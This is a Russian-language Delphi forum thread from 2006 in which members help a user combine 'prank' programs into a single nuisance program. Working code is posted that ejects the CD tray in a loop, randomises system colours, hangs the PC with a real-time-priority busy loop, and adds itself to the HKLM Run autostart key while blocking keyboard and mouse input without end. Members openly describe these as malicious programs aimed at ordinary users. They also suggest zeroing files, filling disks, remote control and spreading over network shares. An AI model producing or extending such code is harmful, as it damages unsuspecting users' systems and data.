Модераторы: Poseidon, Snowy, bems, MetalFan

Поиск:

Закрытая темаСоздание новой темы Создание опроса
> Спариванние скриптов 
:(
    Опции темы
ВоВеЦ
Дата 14.7.2006, 13:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Народ можете подсказать как правильно спаривать разные скрипты написанные на  Delphi или ссылочку на подобную инфу...

 
PM MAIL   Вверх
comtat
Дата 14.7.2006, 13:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
***


Профиль
Группа: Завсегдатай
Сообщений: 1310
Регистрация: 2.5.2006
Где: Россия, Казань

Репутация: 3
Всего: 71



ВоВеЦ а что ты понимаешь под словом спаривать ?? 


--------------------
Рожденный в СССР !!!
ExtJS - мой фреймворк 
PM   Вверх
Romikgy
Дата 14.7.2006, 14:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Любитель-программер
****


Профиль
Группа: Участник Клуба
Сообщений: 7326
Регистрация: 11.5.2005
Где: Porto Franco Odes sa

Репутация: 26
Всего: 146



Цитата(ВоВеЦ @  14.7.2006,  12:53 Найти цитируемый пост)
разные скрипты написанные на  Delphi

хммм объясни? 


--------------------
Владение русской орфографией это как владение кунг-фу — истинные мастера не применяют его без надобности. 
smile

PM   Вверх
ВоВеЦ
Дата 14.7.2006, 17:23 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет




M
Girder
Название темы должно отражать ее суть!


Вот к примеру у меня есть исходники от двух прог - приколов, одна открывает - закрывает CD-ROM, а другая меняет системную палитру, мне надо из 2ух этих исходников, сделать одну целую прогу. Как правильно их спарить? 

Исходники:

Код

program CD-ROM;
uses
  SysUtils,
  MMSystem,
  Windows;
  
var    
 OpenParm: TMCI_Open_Parms;    
 GenParm: TMCI_Generic_Parms;    
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;    
begin    
OpenParm.lpstrDeviceType := 'CDAudio';
 repeat    
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));    
  DI := OpenParm.wDeviceID;    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));    
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));    
  sleep(80)    
 until 2=3;
 end;
end.


----------------------------------------------------------------------------------

Код

program Palitra;
uses
  windows,
  graphics;

const
 SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,    
 COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,    
 COLOR_BTNFACE, COLOR_BTNTEXT, COLOR_CAPTIONTEXT, COLOR_INACTIVEBORDER,    
 COLOR_INFOTEXT, COLOR_MENU, COLOR_MENUTEXT, COLOR_WINDOW, COLOR_WINDOWFRAME,    
 COLOR_WINDOWTEXT);    
 ColorArray: array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,    
          clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);
begin    
  while true do    
   begin
   SetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]);    
   sleep(1000);    
   end;    
end
  
PM MAIL   Вверх
_hunter
Дата 14.7.2006, 17:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Эксперт
****


Профиль
Группа: Участник Клуба
Сообщений: 8564
Регистрация: 24.6.2003
Где: Europe::Ukraine:: Kiev

Репутация: 15
Всего: 98



код первого (то, что в begin) пишеш после кода второго (причем наоборот нельзя)
потом нужно два раза ударить по бубну компиляции (больше нельзя) и выполнить танец вызова дождя индейцев сиу (другой не подойдет)
кажись все... 


--------------------
Tempora mutantur, et nos mutamur in illis...
PM ICQ   Вверх
Palladin
Дата 14.7.2006, 22:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



хм.. да необязательно вроде код первого после второго писать smile 
неужели такой вот код не заработает smile  

Код

uses
  SysUtils,
  MMSystem,
  windows,
  graphics;
const
 SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,    
 COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,    
 COLOR_BTNFACE, COLOR_BTNTEXT, COLOR_CAPTIONTEXT, COLOR_INACTIVEBORDER,    
 COLOR_INFOTEXT, COLOR_MENU, COLOR_MENUTEXT, COLOR_WINDOW, COLOR_WINDOWFRAME,    
 COLOR_WINDOWTEXT);    
 ColorArray: array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,    
          clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);  

var    
 OpenParm: TMCI_Open_Parms;    
 GenParm: TMCI_Generic_Parms;    
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;    
begin    
OpenParm.lpstrDeviceType := 'CDAudio';
 repeat    
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));    
  DI := OpenParm.wDeviceID;    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));    
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));    
  sleep(80);
   SetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]);    
   sleep(1000);    
 until 2=3;
 end;
end.


Мне думается что это программа будет "прекрасно" доставлять недовольство тем кто её запуститsmile))  Правда тут не хватает автозагрузки, но это уже не по темеsmile

P.S. Юзай на здоровьеsmile 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
ВоВеЦ
Дата 15.7.2006, 01:02 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Хм... куда моё сообщенние пропало? Мата или наездов помойму там небыло, если модераторы его удалили, но мне не сложно ещё раз отписаться)

_hunter твой пост неудачный прикол(ИМХО)
RooR тебе за помощь ещё раз спасибо smile 

У меня ещё возникла проблема с добавленнием ещё одного кода:
Код

program Project1;

uses
  windows,
  messages;

function EnumChildWnd(h: hwnd):BOOL; stdcall;
begin
 SendMessage(h,WM_SETTEXT,0,lparam(LPCTSTR('][ ñ òîáîé')));
 Result:=true;
end;

function EnumWindowsWnd(h: hwnd):BOOL; stdcall;
begin
 SendMessage(h, WM_SETTEXT,0,lparam(LPCTSTR('][ c òîáîé')));
end;

var
 h:THandle;
begin
 while true do
  begin
   EnumWindows(@EnumWindowsWnd, 0);
   h:=CreateEvent(nil, true, false, '');
   WaitForSingleObject(h, 1000);
   CloseHandle(h);
  end;
end.


Функции оставляю вверху, переменную пихаю в общий список, а вот с  остальным кодом после переменной проблема, куда не пихай, то не выполняется эта часть проги, то выдаёт ошибку, косяк помойму с циклами вот только какой, жду помощи smile 
 
PM MAIL   Вверх
Kefir
Дата 15.7.2006, 01:10 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


«Hakuna Matata»
***


Профиль
Группа: Комодератор
Сообщений: 1878
Регистрация: 25.1.2003
Где: Tampere, Suomi

Репутация: нет
Всего: 87



 ошибку в студию! 
PM MAIL WWW Skype   Вверх
ВоВеЦ
Дата 15.7.2006, 01:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Application Error
Exception EAccessViolation in module Project1.exe at 00137E9
 
PM MAIL   Вверх
Palladin
Дата 15.7.2006, 11:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Ну, во первых CloseHandle(h); это должно быть после end; , во вторых переменная h , заведи на каждую процедуру разную переменную, может быть из-за них збой, потом   h:=CreateEvent(nil, true, false, ''); здесь должно быть не '' а хоть чтонить написано smile пиши так ' ' , 

P.S. Это весь код твоей "программки"???
З.Ы. 2Вовец  итого ты уже должен мне два плюса smile  smile  smile 
P.S. Щас попробую сам это сделать, отпишу свой код smile    

Это сообщение отредактировал(а) RooR - 15.7.2006, 11:51


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
ВоВеЦ
Дата 15.7.2006, 15:04 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Попробывал как ты говариш, пока толку некакого, жду твой код...

Код программки пока весь, кроме автозагрузки её, может ещё че нить привенчу, к примеру лампочки на клаве хаотично мигали)
RooR плюсов хоть 10 я те могу поставить мне не жалко, но пока не имею такой возможности smile  
PM MAIL   Вверх
Palladin
Дата 15.7.2006, 22:25 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



2ВоВеЦ слыш ты этот код с книги Флёнова взял???? скажи на какой странице!!

Код пашет, но ничего не делает почемуто, с циклом всё в порядке(можеш проверить, закинь туда вишку с открыванием сдромаsmile)


И ещё одно, не понимаю почему smile  но эта процедура не обрабатывается вообще smile 

Код

function EnumChildWnd(h: hwnd):BOOL; stdcall;
begin
 SendMessage(h,WM_SETTEXT,0,lparam(LPCTSTR('][ n oiaie')));
 Result:=true;
end;


P.S. Вообщем скажи на какой странице Флёнова ты это прочитал, я сам прочитаю может ты что-то упустил smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Alexeis
Дата 15.7.2006, 23:03 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Амеба
Group Icon


Профиль
Группа: Админ
Сообщений: 11743
Регистрация: 12.10.2005
Где: Зеленоград

Репутация: 109
Всего: 459



RooR, конечно нет ее даже в код не включает компилятор, поскольку не ее вызова.
ВоВеЦ, Этот код сам по себе не работает не то, что в группе с другим.
Раскажи что он должен делать, мож мы поправим, а так нет все ясно smile   

Это сообщение отредактировал(а) alexeis1 - 15.7.2006, 23:04


--------------------
Vit вечная память.

Обсуждение действий администрации форума производятся только в этом форуме

гениальность идеи состоит в том, что ее невозможно придумать
PM ICQ Skype   Вверх
Palladin
Дата 15.7.2006, 23:51 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Цитата(alexeis1 @ 15.7.2006,  23:03)
RooR, конечно нет ее даже в код не включает компилятор, поскольку не ее вызова.
ВоВеЦ, Этот код сам по себе не работает не то, что в группе с другим.
Раскажи что он должен делать, мож мы поправим, а так нет все ясно smile

Блин, что-то форум лагаетsmile я потом редактировал запись, и писал про то что нет её вызоваsmile хня какаятаsmile или может это мой нетsmile))))

2ВоВеЦ Да-да мне вот тоже интересно что эти процедуры делают smile Вообщем ты наверное это взял с ниги Флёнова М.С.  "Delphi Глазами Хакера" , если это так то скажи на какой странице ты это вычитал, у меня есть эта книга, я прочитаю может что и пойму, а то мне кажется что ты взял не тот код что задумывал брать smile вообщем скажи что ты хочеш от этой программы smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
ВоВеЦ
Дата 16.7.2006, 00:58 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



Код отдельно рабочий, проверенно, правдо только в диспетчере задач, код со страницы 91-96, вообще мне желательно чтоб вы не делали всё за меня, а разъяснили как правильно лепить разные скрипты в один камок, ну хотя на примерах тоже впринципе ясно   

Это сообщение отредактировал(а) ВоВеЦ - 16.7.2006, 01:01
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 05:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Все элементарно делается - создаем новый проект и вставляем в него куски кода:

Начинаем с модулей: видим, что 1-ой программе нужны модули SysUtils, MMSystem, Windows, а 2-ой Windows и Graphics, поэтому мы их совмещаем:
Код

uses
  SysUtils,
  MMSystem,
  Windows,
  Graphics;

Смотрим дальше: в одной программе объявляются переменные, а в другой - константы. Их последовательность роли никакой не играет (в данном случае), но я предпочитаю объявлять сначала константы:
Код

const    
 SySColorArray: array [0..13] of Integer = (COLOR_ACTIVEBORDER,
 COLOR_ACTIVECAPTION, COLOR_APPWORKSPACE, COLOR_BACKGROUND,
 COLOR_BTNFACE, COLOR_BTNTEXT, COLOR_CAPTIONTEXT, COLOR_INACTIVEBORDER,
 COLOR_INFOTEXT, COLOR_MENU, COLOR_MENUTEXT, COLOR_WINDOW, COLOR_WINDOWFRAME,
 COLOR_WINDOWTEXT);
 ColorArray: array [0..10] of TColor = (clAqua, clBlack, clBlue, clYellow,
          clFuchsia, clGreen, clNavy, clRed, clSilver, clWhite, clSkyBlue);

var
 OpenParm: TMCI_Open_Parms;     
 GenParm: TMCI_Generic_Parms;
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;

Теперь мы подошли к исполняемому коду. И сразу видно, почему у тебя сразу все вместе не заработало:
Рассмотрим цикл repeat ... until 2=3: действие внутри цикла будет повторяться пока не выполниться условие. А условие у тебя "2=3", что не может быть, т.е. условие у тебя - false (ложь). Поэтому этот цикл - бесконечный. Вообще-то, с бесконечными циклами надо поаккуратней, поскольку они загружают процессор на 100% и выйти из программы можно только через Ctrl+Alt+Del...
Смотрим вторую программу: while true do ... что означает: "пока <условие>, то выполнять что-то...". А условие у тебя "true" (истина, например, истина была бы и при таком условии: 2<3), т.е. то тоже бесконечый цикл. Вывод из всего вышесказанного: чтобы начать второй цикл, необходимо завершить первый (т.к. все действия выполняются последовательно), а он никогда не закончится, потому что он бесконечный. Выход - объединить два цикла в один:
Код

begin
OpenParm.lpstrDeviceType := 'CDAudio';    
 repeat
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));     
  DI := OpenParm.wDeviceID;     
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));     
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));     
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));
  SetSysColors(1, SySColorArray[random(13)], ColorArray[random(10)]); //random(13) будет давать значения 0..12, а у нас array [0..13]
  //(ничего страшного не случиться, только COLOR_WINDOWTEXT не будет меняться)
  sleep(80) //желательно поставить ";" (правда не обязательно)
 until 2=3; //Какое-то кривоватое условие. В таких случаях принято писать until false
 //(хотя бесконечные циклы вообще не желательны)
end.

Вот и все! Правда, за одно открытие/закрытие дисковода цвет будет меняться только один раз (да при том только одного элемента (случайного)). Правда можно фунцию изменения цвета поместить в цикл, выполняющийся, к примеру, 14 раз (for i:=1 to 14 do...). Впринципе, открытие cd-rom'а и изменение палитры можно выполнять одновременно, но это для тебя очень сложно будет (потоки) 
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 05:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



А вот тебе и код программы, которая с помощью бесконечного цикла может комп подвесить:
Код

program ctrl_alt_del_ne_spaset;

uses
  Windows;
  
var
  ProcessID: DWORD;
  ProcessHandle: THandle;

begin
  ProcessID := GetCurrentProcessID;
  ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID);
  SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
  while true do
end.

Есть 3 способа закрытия этой программы:
  • С помощью диспетчера задач (маловероятно)
  • Reset
  • Выключение из розетки ;)
 

Это сообщение отредактировал(а) Mr.Floppy - 16.7.2006, 05:31
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 12:31 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



2ВоВеЦ Слыш дак у тебя же целого куска кода нет smile или может у тебя одного листа не хватает smile Ты процедуру функцию EnumWindowsWnd на 1/8 написал  smile 


Вообщем скажи мне что ты хочеш от своей программы, допустим:
1)добавление в реестр
2)блокировка клавиатуры\мыши
3)выезжающий сидиром
4)писк системного динамика
5)мигающий капслок
6)уничтожение окна "Диспетчер задач Windows"
7)Загрузка проца на 100%
и т.д.
smile
я сделаю и выложу здесь(и напишу для тебя каменты)

P.S. 2ВоВеЦ внимательнее читай книгу, там всё есть smile 
       2Mr.Floppy Эксперт мляsmile 2=3 прекрансо выплняет бесконечный циклsmile а твой второй пример не пашет в Windows старше 98 smile (насколько я знаю) 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 13:13 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



RooR, вот на win9x скорее всего и не пашет, а на XP работает - reset'ом выходил, не Ctrl-F2, а который на корпусе smile
да, 2=3 - выполняет... но зачем выполнять действия, если получим все равно true. можно даже что-то типа
Код
while (sin(17*abs(cos(pi))/(5*4))*100>5) and not ((11 div 2)=0) do
 написать, а какой смысл?

P.S. Запусти у себя ctrl_alt_del_ne_spaset smile

Добавлено @ 13:18 
RooR, 
1)добавление в реестр - создание строковой записи в HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run? smile
9)открытие файлов и заполнение их нулями smile

ВоВеЦ, начни с простого, пойми основы, а потом уже пиши всякие приколы, бэкдоры, полиморфные вирусы... smile 
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 13:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Код

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
  public
  end;

var
  Form1: TForm1;

implementation
var RegIni:TRegIniFile;
function BlockInput(fBlockIt: Boolean): Boolean;
stdcall; external 'user32.dll';


procedure TForm1.FormCreate(Sender: TObject);
 var RegIni:TRegIniFile;
begin
 RegIni:=TRegIniFile.Create('Software');{прописываем файл в автозагрузку}
 RegIni.RootKey:=HKEY_LOCAL_MACHINE; {идём по корневым катологам реестра H_K_L_M}
 RegIni.OpenKey('Software', true);  {SOftware}
 RegIni.OpenKey('Microsoft', true);  { microsoft}
 RegIni.OpenKey('Windows', true);     { windows}
 RegIni.OpenKey('CurrentVersion', true);    { CurrentVersion}
 RegIni.WriteString('Run', 'VandR.exe',
   Application.ExeName);    {открываем раздел Run и прописываем его туда }
 RegIni.Free;        { закрываем то что открыли }

  repeat              {начало бесконечности}
blockinput(true); {ф-ия обрубания Клавы и мыши}
until 2=3;           {конец цикла бесконечности}
end;
end.


Вот от этого тебя точно ctrl+alt+del не спасётsmile))))))))) 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 13:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Так не интересно... просто блокируется ввод... а в моем случае можно остановить музыку, закачки, и разрядить аккамулятор ноутбука smile
Кстати, не знаешь как сделать автозапускающеюся DLL? (с подобными "функциями") 
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 15:36 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Ну в моём примере ты не услышиш музыки тожеsmile))) тут проц грузится на 100% всё умираетsmile))))) А по поводу dll и этого кода, то это уже давай по асе или в личке, а то и так уже оффтоп smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 16.7.2006, 16:16 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



Цитата

проц грузится на 100%

Не на 100%, а где-то на 99,9% smile Но, все равно, можно закрыть эту программу (с помощью другой программы по сети или с помощью WinLIRC или еще как-нибудь). Если установить приоритет REALTIME, то на однопроцессорной системе Taskman появиться только через несколько минут после "распальцовки", а другие приложения тоже будут отвечать с огромной задержкой smile 
PM MAIL   Вверх
Palladin
Дата 16.7.2006, 21:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



2Mr.Floppy Подобные вредоносные программки расчитаны на обычных пользователей, ты думаеш они знаю про всё то что ты сказал smile  smile  smile  smile  smile  smile  smile  


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
ВоВеЦ
Дата 17.7.2006, 01:37 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 147
Регистрация: 20.4.2006

Репутация: нет
Всего: нет



RooR
 
Книга в PDF и я сомневаюсь что от туда могли вырвать страницу)
Код работает у меня только в окне диспетчера задач

Mr.Floppy
Насчёт циклов это мне было и так ясно, тот и другой цикл отдельно пробывал, прога рушится после 1ого прохода по коду

ALL

Может в этом всё дело: [Warning] Project1.dpr(17): Return value of function 'EnumWindowsWnd' might be undefined

Пункты нужные мне в моей программки(точней уже RooR'а=))) под номерами:1,3,4,5 а насчёт 9 это уже отдельная тема, работа с PE что мне тоже очень интерестна(если я правильно понял про забивание нулями), вообще пунктов таких существует огромное кол-во не мне вам говарить, сами понимаете, только ещё желательно пару приколов с оболочкой, а то эти все к железу относятся кроме 6 пункта, что нибудь вроде смены обоев или палитры, ну и с окнами

 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 06:57 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



Цитата(ВоВеЦ @  17.7.2006,  01:37 Найти цитируемый пост)
Может в этом всё дело: [Warning] Project1.dpr(17): Return value of function 'EnumWindowsWnd' might be undefined

Не это точно не из-за этогоsmile))) вообщем это потому что в твоей процедуре только одна строчка кода, удали со второй процедуры строку одну и прога будет ругатся и на ту процедуру smile 


Цитата(ВоВеЦ @  17.7.2006,  01:37 Найти цитируемый пост)
1,3,4,5

что касается этого, то я щас еду на дачу, буду вечером тогда сделаю и выложу
здесь, хотя здесь столько умельцев что я думаю делать мне ничего не придётся smile  smile  smile  smile 

Насчёт 9 пункта ТЫ СПЯТИЛ smile угомонись пока не поздно

P.S.Всё начинается с малого........
 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 17.7.2006, 18:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



10) создание нулевых файлов (ну, килобайт по 100) на всех дисках до их заполнения smile (причем, "неудаляемых" smile)
11)прикручивание протокола TCP/UDP и удаленное управление smile 
PM MAIL   Вверх
Palladin
Дата 17.7.2006, 18:28 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 932
Регистрация: 15.5.2007
Где: Беларусь г.Гомель

Репутация: 3
Всего: 17



12) Поиск полного доступа в папках по сети и посылание туда этого вирусаsmile
13) Изменяем раскладку клавиатуры на Японский
14)Изменяем частоту герц до 60(по глазам тож пройдёмся smile )
15)Через полчаса тушим монитору(пускай отдохнутsmile)

Ну а серъёзно пускай сам думает, чё мы паримсяsmile)) вот тебе по теме 

1)добавление в реестр
3)выезжающий сидиром
4)писк системного динамика
5)мигающий капслок



По пунктам

1)

Код

procedure TForm1.FormCreate(Sender: TObject);
 var RegIni:TRegIniFile;
begin
 RegIni:=TRegIniFile.Create('Software');{прописываем файл в автозагрузку}
 RegIni.RootKey:=HKEY_LOCAL_MACHINE; {идём по корневым катологам реестра H_K_L_M}
 RegIni.OpenKey('Software', true);  {SOftware}
 RegIni.OpenKey('Microsoft', true);  { microsoft}
 RegIni.OpenKey('Windows', true);     { windows}
 RegIni.OpenKey('CurrentVersion', true);    { CurrentVersion}
 RegIni.WriteString('Run', 'VandR.exe',
   Application.ExeName);    {открываем раздел Run и прописываем туда, первый параметр задаёт имя(то имя под которым оно будет в реестре:)) второй это твой екзешник, поскольку у твоей программы нет окна то надо писать полный путь к файлу без  Application.ExeName на конце}
 RegIni.Free;        { закрываем то что открыли }



3)это я уже писал smile незнаю зачем тебе ещё раз это надоsmile

Код

program CD-ROM;
uses
  SysUtils,
  MMSystem,
  Windows;
  
var    
 OpenParm: TMCI_Open_Parms;    
 GenParm: TMCI_Generic_Parms;    
 SetParm: TMCI_Set_Parms;
 DI : Cardinal;    
begin    
OpenParm.lpstrDeviceType := 'CDAudio';
 repeat    
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@OpenParm));    
  DI := OpenParm.wDeviceID;    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Open, Longint(@SetParm));    
  mciSendCommand(DI, mci_Set, mci_Set_Door_Closed, Longint(@SetParm));    
  mciSendCommand(DI, mci_Close, mci_Notify, Longint(@GenParm));    
  sleep(80)    
 until 2=3;
 end;
end.



4) Помойму в книге Флёнова М.С.(Delphi Глазами Хакера) это есть smile 
вообщем вот, поиск по форуму помог(проверено пашетsmile)

Код

Procedure  BeepEx(Freq:  Word;  Duration:  Integer);
 var  
     Ver:  TOsVersionInfo;
 begin
     Ver.dwOSVersionInfoSize  :=  SizeOf(Ver);
     GetVersionEx(Ver);
     if  Ver.dwPlatformId  =  VER_PLATFORM_WIN32_NT  then  
         Windows.Beep(Freq,  Duration)  
     else  begin
         asm
             movzx  ecx,  Freq
             mov  eax,  1193180            //  тактовая  частота
             sub  edx,  edx
             div  ecx                              //  преобразование  частоты  в  делитель
             mov  ecx,  eax
             mov  al,0b6H
             out  43H,al                        //  управляющие  слово
             mov  al,cl
             out  42h,al                        //  младший  байт  делителя
             mov  al,ch
             out  42h,al                        //  старший  байт  делителя
             in    al,61H
             or    al,03H
             out  61H,al                        //  включить  звук
         end;
         sleep(Duration);                //  пауза  на  время  звучани
         asm
             in    al,61H
             and  al,0fcH
             out  61H,al                        //  выключить  звук  по  окончанию  Duration
         end;
     end;
 end;


Это так описывается а потом вызывай передавая параметры, вот пример вызова

BeepEx(555, 100); //первый параметр это тон(чем больше число //тем тон  
//выше) второй частота сигнала


5) Поиск по форуму(чего сам им не пользуешся smile )
http://forum.vingrad.ru/index.php?showtopi...amp;hl=capslock 


--------------------
Глуп тот кто полагается на истину авторитета, а не на авторитет истины
[color=red]KAV&KIS==Evil[/color]
PM MAIL   Вверх
Mr.Floppy
Дата 17.7.2006, 18:55 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 106
Регистрация: 3.7.2006
Где: Москва

Репутация: 1
Всего: 1



ВоВеЦ, для работы с реестром лучше используй этот модуль, вместо монстрообразного TRegistry (правда, им пользоваться все-таки удобнее):
Код

unit MiniReg; 

{ 
  lightweight replacement for TRegistry. Does not use Classes or SysUtils. Intended 
  for space-limited applets where only the commonly used functions are necessary. 
  Returns True if Successful, else False. 

  Written by Ben Hochstrasser ([email protected]). 
  This code is GPL. 
} 
